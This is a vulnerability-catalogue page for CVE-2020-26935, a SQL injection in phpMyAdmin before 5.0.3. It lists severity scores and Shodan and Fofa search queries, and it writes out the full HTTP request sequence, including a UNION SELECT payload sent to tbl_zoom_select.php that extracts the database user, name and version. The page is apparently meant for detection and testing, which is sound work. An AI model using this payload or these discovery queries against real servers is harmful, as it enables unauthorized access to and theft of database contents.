🔙 목록으로 돌아가기

CVE-2020-26935: phpMyAdmin < 5.0.3 - SQL Injection

TitlephpMyAdmin < 5.0.3 - SQL Injection
Author0x_Akoko
SeverityCritical
ImpactAttackers can execute arbitrary SQL commands, potentially leading to data theft, modification, or deletion.
RemediationUpdate to phpMyAdmin 4.9.6 or 5.0.3, or latest version.
CVSS Score9.8
EPSS Score0.87812
CVE IDCVE-2020-26935
CWE IDCWE-89
Shodan Queryhttp.title:"phpMyAdmin"
Fofa Queryapp="phpMyAdmin"
Tags cve cve2020 phpmyadmin sqli authenticated

🔍 Vulnerability Description

phpMyAdmin before 4.9.6 and 5.x before 5.0.3 contains a SQL injection caused by improper processing of SQL statements in the search feature, letting attackers inject malicious SQL, exploit requires crafted search input.

🌐 HTTP Request

GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/11.0
Connection: close
Accept-Encoding: gzip
POST /index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Content-Length: 97
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

pma_username=k1qBqJ&pma_password=efN30m&server=1&target=index.php&token=RPry4o&set_session=ycboPD
GET /index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:139.0) Gecko/20100101 Firefox/139.0
Connection: close
Accept-Encoding: gzip
POST /tbl_zoom_select.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/601.6.17 (KHTML, like Gecko) Version/9.1.1 Safari/601.6.17
Connection: close
Content-Length: 173
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

db=testdb&table=users&where_clause=1=0 UNION SELECT 1,CONCAT(USER(),0x3a,DATABASE(),0x3a,VERSION()),3-- -&where_clause_sign=&token=nlOGIk&ajax_request=true&get_data_row=true

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-26935.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-26935.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A